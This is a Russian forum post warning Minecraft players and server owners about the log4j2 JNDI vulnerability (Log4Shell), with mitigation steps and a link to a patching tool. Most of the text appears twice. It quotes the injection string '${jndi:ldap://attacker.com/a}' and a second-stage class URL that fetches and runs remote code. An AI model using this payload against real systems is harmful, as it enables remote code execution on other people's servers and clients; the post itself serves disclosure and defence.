Удар нанесли откуда не ждали.
На днях была обнаружена критическая уязвимость в библиотеке apache log4j2, которую Minecraft использует для логгирования.
С помощью найденного эксплоита можно не только убивать сервера, но и ВЫПОЛНЯТЬ ПРОИЗВОЛЬНЫЙ КОД (!!!) как на клиенте, так и на сервере.
Отмечается, что проблеме подвержены почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая Steam, Apple iCloud, клиенты и серверы игры Minecraft. Ожидается, что уязвимость может привести к волне массовых атак на корпоративные приложения, повторив историю критических уязвимостей во фреймворке Apache Struts, который по приблизительной оценке применяется в web-приложениях 65% компаний из списка Fortune 100. В том числе уже зафиксированы попытки сканирования сети на предмет уязвимых систем.
Проблема была вызвана тем, что Log4j2 поддерживает обработку специальных масок
Microsoft сообщили, что устранили уязвимость для последних версий Minecraft, но что до более старых версий - не известно когда они будут исправлены и будут ли вообще. Когда исправят в сторонних лаунчерах (TLauncher и др.) так же ничего неизвестно.
ПОЭТОМУ НАСТОЯТЕЛЬНО НЕ РЕКОМЕНДУЕТСЯ СЕЙЧАС ВООБЩЕ ИГРАТЬ НА СЕРВЕРАХ.
Будь то проект со своим лаунчером или публичный сервер.
Если вы играете на каком-то сервере, сообщите администратору об этой уязвимости, отправив ссылку на эту тему.
Решение для владельцев серверов:
1. Обновить библиотеку log4j2 до последней актуальной версии и на клиенте, и на сервере;
2. Добавить в JVM аргументы запуска данную строку:
Если не получается обновить библиотеку на старых версиях игры, я написал небольшую утилиту, которая патчит log4j2 и вырезает уязвимость.
В репозитории есть инструкция по применению.
Ещё материалы по теме:
На днях была обнаружена критическая уязвимость в библиотеке apache log4j2, которую Minecraft использует для логгирования.
С помощью найденного эксплоита можно не только убивать сервера, но и ВЫПОЛНЯТЬ ПРОИЗВОЛЬНЫЙ КОД (!!!) как на клиенте, так и на сервере.
Отмечается, что проблеме подвержены почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая Steam, Apple iCloud, клиенты и серверы игры Minecraft. Ожидается, что уязвимость может привести к волне массовых атак на корпоративные приложения, повторив историю критических уязвимостей во фреймворке Apache Struts, который по приблизительной оценке применяется в web-приложениях 65% компаний из списка Fortune 100. В том числе уже зафиксированы попытки сканирования сети на предмет уязвимых систем.
Проблема была вызвана тем, что Log4j2 поддерживает обработку специальных масок
{}
в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}
, при обработке которой Log4j2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class
) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.Microsoft сообщили, что устранили уязвимость для последних версий Minecraft, но что до более старых версий - не известно когда они будут исправлены и будут ли вообще. Когда исправят в сторонних лаунчерах (TLauncher и др.) так же ничего неизвестно.
ПОЭТОМУ НАСТОЯТЕЛЬНО НЕ РЕКОМЕНДУЕТСЯ СЕЙЧАС ВООБЩЕ ИГРАТЬ НА СЕРВЕРАХ.
Будь то проект со своим лаунчером или публичный сервер.
Если вы играете на каком-то сервере, сообщите администратору об этой уязвимости, отправив ссылку на эту тему.
Решение для владельцев серверов:
1. Обновить библиотеку log4j2 до последней актуальной версии и на клиенте, и на сервере;
2. Добавить в JVM аргументы запуска данную строку:
-Dlog4j2.formatMsgNoLookups=true
и на клиенте, и на сервере.Если не получается обновить библиотеку на старых версиях игры, я написал небольшую утилиту, которая патчит log4j2 и вырезает уязвимость.
GitHub - tox1cozZ/log4j2-jndi-exploit-patcher: A utility that looks for log4j2 JNDI vulnerabilities in your jar files and fixes them.
A utility that looks for log4j2 JNDI vulnerabilities in your jar files and fixes them. - tox1cozZ/log4j2-jndi-exploit-patcher
github.com
Ещё материалы по теме:
Mitigating CVE-2021-44... | CreeperHost Wiki
If you are using Minecraft 1.18 or older we recommend following this guide to install a patch to mit...
www.creeperhost.net
Important Message: Security vulnerability in Java Edition
Follow these steps to secure your game
www.minecraft.net